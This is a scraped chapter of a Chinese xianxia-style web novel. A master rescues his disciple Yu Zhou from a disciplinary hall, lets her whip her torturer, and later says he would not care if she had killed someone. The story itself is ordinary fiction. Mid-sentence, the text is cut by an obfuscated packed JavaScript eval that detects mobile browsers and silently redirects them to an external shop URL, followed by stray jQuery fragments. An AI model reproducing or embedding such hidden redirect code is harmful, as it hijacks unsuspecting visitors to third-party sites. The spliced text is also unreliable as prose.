文趣网 > 其他小说 > 高冷宿敌,但男妈妈 > 40. 公道
    耿立很快将柴源带过来。

    一进刑房,柴源便被眼前景象吓傻了。

    原本被大型伺候的凶手此刻被朔白仙尊抱在怀里,而原本盛怒至极的死者师父贯虹峰峰主,此刻脖颈上横着一把剑。

    柴源瞬间腿软,直接瘫倒在地。

    凌雪回却没有轻易放过他。

    他垂眸,开口:“是你说虞州是凶手?”

    柴源张了张嘴,还没说话,凌雪回又问:“你看见了么?”

    “弟子、弟子知错……弟子不该、不该……”

    喉头一僵。

    柴源发现自己说不出声了。

    他在一向光风霁月的朔白仙尊脸上,鲜少地看到一丝明显的不耐。

    “你看见了么?”

    朔白仙尊又问了一遍。

    柴源抖着身子摇了摇头。

    “看,匡峰主,”凌雪回转身看向匡合亮,语气甚至称的上是平和,“没有人看见过是虞州杀的人,你的徒弟是死是活死状是否凄惨,和我的徒弟又有什么关系呢?”

    走廊传来一串脚步声。

    虞州抬头看去。

    小小一间刑房,如今竟然少见地凑齐了这么多大人物。

    掌门姗姗来迟,他有些不赞同道:“朔白,谋害同门影响之恶劣不必我多说,匡峰主与戒律堂也是按规矩……”

    话没说完就看见了跪在地上的耿立,瘫倒在团的柴源,还有脖子上被繁霜割出一道口子的匡合亮。

    话一下子便顿住了。

    管夷张了张嘴:“朔白这是……”

    “匡峰主行事鲁莽武断粗率,耿主事刑讯逼供强行定罪,”凌雪回抬眸,对上管夷的视线,说道:“我只是来替我徒弟讨一点公道回来。”

    “至于凶手……”

    凌雪回转头看向匡合亮,说道:

    “匡峰主方才也说了,陈守之死与走月峰无关,是不是,匡峰主?”

    繁霜又往里按了按。

    匡合亮脖子一紧,微微点点头:“是……是这样。”

    凌雪回对着管夷略微颔首:“既然如此,我便带着虞州先回去了,只是临走之前,还有一事要处理。”

    凌雪回低头,语气轻柔地问:“你身上的伤,是谁做的?”

    耿立心中一紧。

    跪在地上的身子开始不自觉地颤抖起来。

    下一秒,一道冰冷的视线落在他身上。

    管夷眼见凌雪回的行事越发出格,忍不住伸手阻拦,目光忽然扫到角落里那片黑暗,他开口:“朔白,蔺长老还在这,不可无礼。”

    “蔺长老是与我一起来的,只是掌门,既然蔺长老在此,此事才更应该处理干净,不是么?”

    凌雪回看向管夷,淡淡道:“哪怕是戒律堂,也没有随意对弟子施刑的权利,更没有随意施刑还不被处罚的道理。”

    “我赞同。”

    人影缓缓从黑暗中走出,他面上挂着温和的笑容,语气和缓:“朔白仙尊所言极是,无论在哪都应该有一套公平的法则才对,戒律堂负责用法则约束弟子,并不代表戒律堂所言所行可以完全凌驾于法则之上。”

    “只是我很好奇,”他语气饶有兴味,“朔白仙尊会如何处置这戒律堂主事呢?”

    凌雪回低头,轻声问:“能站住么?”

    虞州点点头。

    终于不再被人抱着,虞州浑身都自在了些,哪怕腰间那条手臂仍然存在感极强,但多少比在众目睽睽之下被人完全拢入怀中要好许多。

    下一秒,手里被塞了一条鞭子。

    凌雪回说:“抽回来。”

    管夷吃惊,耿立心惊,所有人目光齐刷刷地看向虞州,等待着她说出否决的话。

    但虞州不是这样的人。

    鞭子刚塞到她手里就被挥出,耿立的目光才刚落在她身上,自己胸前就添了一道血痕。

    虞州抽了三鞭。

    道道深可见骨。

    抽完,她把鞭子一扔,忍者那道探究的目光,站在凌雪回身边。

    啪、啪——

    鼓掌声响起。

    “朔白仙尊这弟子,性情倒是有趣得狠,只是这事毕竟被仙盟知道了,我与于堰改天回仙盟复命时,也要带着交代回去。”

    “不如便了结得更干脆利落些。”

    “朔白仙尊的弟子与匡峰主,还有戒律堂这位主事,以及与此事相关的所有人,改日一起,当众碰面,一起会审,将此事彻底解决。”

    “诸位意下如何?”

    凌雪回开口:“我徒弟伤得很重,一时半刻无法参与会审,便不耽误蔺长老时间了。”

    “时间嘛,”一声轻笑,“我与于堰此番来玄玉宗本就是带着任务来的,时间自然是充裕。”

    “朔白仙尊也不想此事留有后患,万一日后对徒弟有些什么影响,那可得不偿失了。”

    管夷立刻道:“蔺长老既已开口,那便这样定了。”

    一道身影挡住刑房惨白的灯光,站在虞州身前。

    她看见一张笑脸:“还未曾得知,朔白仙尊这弟子叫什么名字。”

    心脏跳得乱了拍。

    虞州攥紧衣角,开口:“虞州,一剑霜寒十四州的州。”

    “虞、州。”

    两个字在他口中细细碾过一遍,一张脸陡然在虞州面前放大。

    他弯下腰,与虞州平视,不疾不徐:“我名蔺嘉树,幸会。”

    ……

    凌雪回抱着虞州出了戒律堂。

    许久不见日光,虞州闭了闭眼,下意识往凌雪回怀里一钻,反应过来后又火速别开脑袋。

    她微微拱了拱:“放我下来。”

    凌雪回动作没变:“你还伤着。”

    虞州说:“已经没人能看见了。”

    步子一顿。

    虞州抬头,看见凌雪回垂眸。

    他轻声开口:“你觉得我做给他们看的?”

    不是吗?

    去戒律堂捞她,把她从刑架上抱下来,又让她在耿立身上还回来那三鞭。

    不都是为了让这群人看的吗?

    虽然说她也确实爽到了。

    眸中深邃不见底,虞州看了一会,少有地别开了眼神,那句本要脱口而出的“难道不是吗”也被她咽了回去。

    虞州本来还想问你怎么回去戒律堂来捞我,在凌雪回这样的视线下,不知为何,这句话也说不出口了。

    视线还落在她身上,哪怕她没有看,身体也能感知的到。

    虞州抿抿唇,说:“我腿又没断。”

    凌雪回复又迈开步子。

    虞州听见他开口,还是那句话:“你还伤着。”

    被凌雪回抱着,视线有些受阻。

    譬如抬头是凌雪回的下颌,转头是凌雪回的胸膛,往前看又会被他的衣衫挡住一部分视线,得抻着脖子往另一边才能看得清楚些。

    但那样不舒服。

    虞州懒得管,也不想管那么多,在凌雪回怀里找了个舒服的姿势。她想,她都伤成这样了,难受了谁都不能难受自己,其余的管他呢,反正凌雪回又不放她下来。

    又走了一阵,虞州问:“蔺嘉树为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693230|204744||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    什么会和你一起来?”

    凌雪回说:“仙盟来玄玉宗例行交流,我知道你进戒律堂后,他跟在我身后一起来了。”

    这样啊。

    虞州又问:“你是怎么知道我进戒律堂了的?”

    凌雪回默了默,说:“谢梦雅去说的。”

    虞州想象了一下这个场景。

    在庄重的议事堂里,坐着的都是仙盟长老和玄玉宗长老,众人神情严肃认真,议事堂中暗流涌动。每个人或一丝不苟,或心有他想,或小心试探,或针锋相对。

    而突然,大门被人强行打开,众人的目光顿时齐齐朝着门口看去。

    只见一名穿着戒律堂服制的女修神情焦急,她冲进这样一个极其严肃的场合,直奔凌雪回身边。

    虞州晃了晃脑袋,没继续想。

    凌雪回抱着她已经快走到走月峰了,虞州看着路边的景色,忽然想,凌雪回为什么要抱着她一步一步走回来。

    哪怕她不方便下地,直接布个传送阵不是更加方便吗?

    算了。

    她闭上眼睛。

    随他去吧。

    走月峰处处都让她熟悉,虞州闭着眼睛,也能感受到凌雪回走到哪了。

    譬如此刻,他就是在小院门口停了下来。

    “你布下了禁制,”她听见凌雪回问,“为什么?”

    差点忘了。

    虞州看着眼前由自己亲手布下的禁制,又看了看山坡上被她的禁制所砍断的一圈树木,开口:

    “他们来抓我时要进小院搜查,人太多,拦不住,我就布下了禁制。”

    凌雪回看着面前的禁制,轻声开口:“刚才怎么不跟我说?”

    如果刚才在戒律堂时告诉他这些人要强搜走月峰,那么事情不会像刚才那样,结束的那么轻易。

    虞州说:“反正也没进去,无所谓了。”

    这禁制能拦耿立,但面对凌雪回便脆得像纸糊,不过一道灵力,禁制便悄然消失。

    已经到了走月峰了,虞州再次开始挣动,这次凌雪回倒是没再坚持,手臂一松,轻轻地把她放在了地上。

    足尖点地,痛感后知后觉,虞州差点一个踉跄,又想起来自己一路上坚持要自己走,愣是硬生生稳住了身子。

    桌上还有些打斗的痕迹,虞州扫了一眼也没再看,收拾什么的,向来都是凌雪回去做。

    透支灵力带来的空虚感让她现在极其困乏,再加上三道鞭伤,她现在很想回屋睡觉。

    步子一抬,却没朝着小屋走去,而是转了个弯,面对凌雪回。

    她问出了她一路上都在忍不住想的问题:

    “你怎么能够确定陈守不是我杀的,毕竟我和他之间的所有过节,你最清楚。”

    凌雪回知道那天新生练剑时发生的所有事情,也切切实实地把她因为陈守弄丢了那张传送符而在西雾林里受的伤看在眼里。

    照理来说,他其实才是最应该觉得她恨陈守,她想杀了陈守的。

    但他问都没问。

    在得知她被抓紧戒律堂后,火速就去戒律堂捞人了。

    虞州问:“你知道陈守是谁杀的?”

    凌雪回说:“不知道。”

    陈守是谁,是死是活,向来都不重要。

    怎么死的也不重要。

    被谁杀的也不重要。

    凌雪回看见了虞州眼里一闪而过的困惑。

    下一秒,他开口,语调不兴,仿佛只是在说一件无关紧要的事情:

    “就算是你杀的,又如何?”

    “杀便杀了。”